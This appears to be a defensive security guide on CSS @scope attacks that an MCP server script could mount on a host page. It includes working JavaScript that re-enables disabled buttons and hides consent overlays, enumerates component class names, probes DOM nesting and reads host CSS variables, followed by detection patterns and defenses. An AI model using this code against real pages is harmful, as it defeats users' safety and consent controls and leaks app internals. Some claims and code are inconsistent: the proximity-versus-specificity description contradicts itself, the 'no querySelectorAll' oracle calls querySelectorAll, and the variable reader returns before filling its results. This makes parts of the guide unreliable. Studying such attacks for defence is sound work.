Security Guide

MCP server CSS @scope security — proximity-based specificity override defeating host security styles, :scope DOM component hierarchy oracle, scope donut exclusion zone nesting probe, custom property propagation across scope boundaries

CSS @scope (Chrome 118+, Firefox 128+, Safari 17.4+) introduces a new specificity dimension — proximity — that measures how many ancestor elements separate a scope root from the matched element. Rules in a closer @scope root beat rules with higher traditional specificity from farther ancestors. For MCP server scripts, this creates four attack surfaces: proximity specificity overrides host app security styles when an attacker controls a closer ancestor element; :scope rule application probes which class names match unknown component roots (DOM structure oracle); scope "donut" exclusion zones reveal element nesting depth between structural classes; and CSS custom properties propagate through @scope boundaries unlike shadow DOM encapsulation, leaking host internal variable values.

Proximity specificity — defeating host security styles from distant ancestors

Traditional CSS specificity compares selector component counts (ID > class > element). When two rules have equal traditional specificity, source order determines which wins. CSS @scope adds a third dimension: two rules of equal traditional specificity but different scope roots are resolved by proximity — the rule whose scope root is a closer ancestor of the matched element wins, regardless of source order or traditional specificity.

An MCP server script that can inject an element wrapping security-critical UI (or inject a stylesheet that targets an element the attacker controls that happens to be between the host app's scope root and the target) can create a closer @scope root that wins the specificity contest against the host app's security styles applied from a distant ancestor.

// @scope proximity specificity: defeating host app security styles via closer scope root
// Host app applies: @scope (body) { button[disabled] { pointer-events: none; opacity: 0.4 } }
// Attacker's scope root is a closer ancestor — same traditional specificity, attacker wins

// Scenario: MCP tool can inject a wrapper div around the page's content area
const wrapper = document.createElement('div');
wrapper.className = 'mcp-tool-scope-root';
// Move body children inside the wrapper (or wrap specific sections)
while (document.body.firstChild) wrapper.appendChild(document.body.firstChild);
document.body.appendChild(wrapper);

// Now inject a stylesheet with the same-specificity rule from the CLOSER scope root
const styleEl = document.createElement('style');
styleEl.textContent = `
  /* @scope (.mcp-tool-scope-root) is a closer ancestor than @scope (body) */
  /* Same traditional specificity: [0,1,0] for "button[disabled]" in both rules */
  /* Proximity: .mcp-tool-scope-root is 1 hop from button; body is 2 hops → attacker wins */
  @scope (.mcp-tool-scope-root) {
    button[disabled] {
      pointer-events: auto !important;
      opacity: 1 !important;
      cursor: pointer !important;
    }
    [aria-disabled="true"] {
      pointer-events: auto !important;
    }
    .consent-overlay {
      display: none !important;
    }
  }
`;
document.head.appendChild(styleEl);

// Result: all disabled buttons, aria-disabled elements, and consent overlays
// inside the wrapper are re-enabled — even though host app's @scope (body) rule
// uses the same specificity selector.
// Traditional specificity audit misses this: it looks at [0,1,0] vs [0,1,0] and
// assumes source order wins (host stylesheet loads first), but proximity flips it.

Proximity beats source order: Security audits that verify "host stylesheet loads last" to ensure host rules win over attacker injections will miss proximity-based specificity reversals. A closer @scope root wins regardless of whether the attacker's stylesheet loaded before or after the host's. The only reliable defense is JS-based enforcement of security states that doesn't rely on CSS winning the cascade.

:scope as DOM component hierarchy oracle

Inside a @scope (.unknown-class) block, the :scope pseudo-class matches the scope root itself. An MCP server can test whether a given class name exists anywhere in the DOM as a structural component root by injecting a scoped rule and checking whether any elements receive the scoped styles. Because @scope matches scope roots anywhere in the document (not just in specific subtrees), it acts as a class presence oracle across the full DOM.

This lets an attacker enumerate internal component class names used by the host application's component framework — revealing the application's component hierarchy, feature presence, and internal naming conventions — without direct DOM traversal via querySelectorAll.

// @scope :scope as component class name oracle
// Probes whether a class name exists on any element in the document

function classExistsViaScope(className) {
  return new Promise(resolve => {
    const style = document.createElement('style');
    // Use CSS custom property to signal scope root existence
    style.textContent = `
      @scope (.${CSS.escape(className)}) {
        :scope {
          --scope-probe-${CSS.escape(className)}: detected;
        }
      }
    `;
    document.head.appendChild(style);

    // Check any element in the document for the custom property
    // (faster: check known container elements)
    requestAnimationFrame(() => {
      const allElements = document.querySelectorAll('*');
      let found = false;
      for (const el of allElements) {
        const val = getComputedStyle(el)
          .getPropertyValue(`--scope-probe-${CSS.escape(className)}`).trim();
        if (val === 'detected') { found = true; break; }
      }
      style.remove();
      resolve(found);
    });
  });
}

// Enumerate host application's internal component hierarchy
const componentNames = [
  'PaymentForm', 'payment-form', 'checkout-panel',
  'auth-provider', 'session-manager', 'SecurityBoundary',
  'admin-panel', 'feature-flags-panel', 'debug-overlay',
  'beta-feature-wrapper', 'internal-tools-panel'
];

Promise.all(componentNames.map(async name => ({
  name,
  present: await classExistsViaScope(name)
}))).then(results => {
  const found = results.filter(r => r.present).map(r => r.name);
  // found[] reveals which internal components are currently mounted
  // — without querySelectorAll or DOM enumeration
});

Scope donut exclusion zones — element nesting depth probe

The @scope (root) to (limit) syntax creates a "donut" scope: styles apply to elements that are descendants of root but not descendants of limit. By varying the limit class, an MCP server can determine whether a target element is nested between two structural component classes — probing the DOM hierarchy without full tree enumeration.

For example, if @scope (.user-content-area) to (.tool-output) { p { color: red } } applies to certain paragraphs but not others, an observer can determine which paragraphs are between .user-content-area and .tool-output in the DOM tree — a binary test for structural relationships between elements.

// Scope donut as DOM depth and containment oracle
// Determines if a target element is nested BETWEEN two known structural classes

function isElementBetween(targetEl, ancestorClass, excludedDescendantClass) {
  return new Promise(resolve => {
    const markerProp = `--scope-between-${Date.now()}`;
    const style = document.createElement('style');
    // Donut: elements that are inside .ancestorClass but NOT inside .excludedDescendantClass
    style.textContent = `
      @scope (.${CSS.escape(ancestorClass)}) to (.${CSS.escape(excludedDescendantClass)}) {
        * { ${markerProp}: yes; }
      }
    `;
    document.head.appendChild(style);

    requestAnimationFrame(() => {
      const val = getComputedStyle(targetEl).getPropertyValue(markerProp).trim();
      style.remove();
      resolve(val === 'yes');
    });
  });
}

// Use case: map DOM ancestry of security-critical elements
// Determine if payment form is inside .public-checkout (unprotected)
// vs inside .authenticated-session-wrapper (protected)
isElementBetween(
  document.querySelector('.payment-amount'),
  'public-checkout',
  'authenticated-session-wrapper'
).then(isUnprotected => {
  // isUnprotected === true → payment form is in public section (not auth-gated)
  // This reveals application auth boundary structure without full DOM traversal
});

// Chain multiple probes to map full component tree depth:
// isElementBetween(el, 'app-root', 'admin-section') → is el outside admin section?
// isElementBetween(el, 'admin-section', 'super-admin-panel') → admin but not super-admin?
// Binary search over depth → full ancestry chain revealed in O(log n) probes

Custom property propagation across @scope boundaries

CSS custom properties (variables) inherit through the DOM tree by default, including through @scope boundaries. Unlike shadow DOM, which can block custom property inheritance with explicit property registration (CSS.registerProperty({ inherits: false })), an @scope rule provides no isolation for CSS custom properties. A scoped rule that reads var(--host-internal-variable) on a scoped element will resolve the host's internal variable value.

An MCP server script can use this to probe the values of internal CSS custom properties that the host application uses as feature flags, configuration values, or state signals — reading them from within a @scope block and exposing them through a computed style read.

// @scope custom property propagation: reading host internal CSS variables

// Host app uses CSS custom properties as feature flags and configuration:
// :root { --feature-ai-summary: enabled; --payment-provider: stripe-v3;
//         --compliance-level: pci-dss; --beta-group: cohort-b }
// These are "internal" from the application's perspective but not isolated

function readHostCSSVariables(variableNames) {
  const markerProps = {};
  const styleRules = variableNames.map(name => {
    const marker = `--read-${name.replace(/^--/, '').replace(/[^a-z0-9]/gi, '-')}`;
    markerProps[name] = marker;
    // @scope creates no variable isolation — host variables propagate in
    return `@scope (body) { :scope { ${marker}: var(${name}, __unset__); } }`;
  }).join('\n');

  const style = document.createElement('style');
  style.textContent = styleRules;
  document.head.appendChild(style);

  const results = {};
  requestAnimationFrame(() => {
    const bodyStyle = getComputedStyle(document.body);
    for (const [varName, markerName] of Object.entries(markerProps)) {
      const val = bodyStyle.getPropertyValue(markerName).trim();
      results[varName] = val === '__unset__' ? null : val;
    }
    style.remove();
    // results now contains host application's CSS variable values:
    // { '--feature-ai-summary': 'enabled', '--payment-provider': 'stripe-v3', ... }
  });

  return results;
}

// Read feature flag state, payment provider configuration, compliance scope
// All exposed through standard CSS custom property inheritance —
// @scope provides no additional isolation beyond what the document already has
const hostConfig = readHostCSSVariables([
  '--feature-ai-summary', '--payment-provider',
  '--compliance-level', '--beta-group', '--user-tier'
]);

@scope is not a security boundary: CSS @scope is a scoping mechanism for style authoring organization — not a security isolation feature. Custom properties, cascade inheritance, and computed style readability all work the same inside and outside @scope blocks. Security-sensitive state should never be communicated via CSS custom properties in a multi-tenant JS environment.

SkillAudit detection patterns

HIGHInjected @scope rule with scope root at a DOM ancestor the attacker controls + pointer-events: auto or display: block on disabled/hidden security elements — proximity specificity override
MEDIUM@scope (.unknown-class) { :scope { --probe: detected } } pattern followed by getComputedStyle scan — component class name oracle
MEDIUM@scope (A) to (B) { * { --marker: yes } } followed by targeted getComputedStyle read — DOM containment and nesting depth probe
LOW@scope (body) { :scope { --read-X: var(--host-internal-X) } } pattern — host CSS custom property value exfiltration

Findings summary

AttackSeverityConsequenceDefense
Proximity specificity overrideHighDisabled buttons and security overlays re-enabled via closer @scope root defeating host's same-specificity stylesJS event enforcement (capture: true); avoid CSS-only security state for critical controls
:scope component class oracleMediumHost application's internal component class names enumerated — component hierarchy and feature presence disclosedCSP style-src nonce blocking injected @scope rules; minify/obfuscate class names
Scope donut nesting depth probeMediumDOM ancestry relationships between structural classes revealed without full DOM enumerationCSP style-src nonce; JS-based component isolation (shadow DOM)
Custom property cross-scope leakageLowHost internal CSS variable values (feature flags, configuration) read via @scope rule without shadow DOM isolationUse shadow DOM with closed mode for state isolation; register variables with CSS.registerProperty({ inherits: false })

Related SkillAudit security guides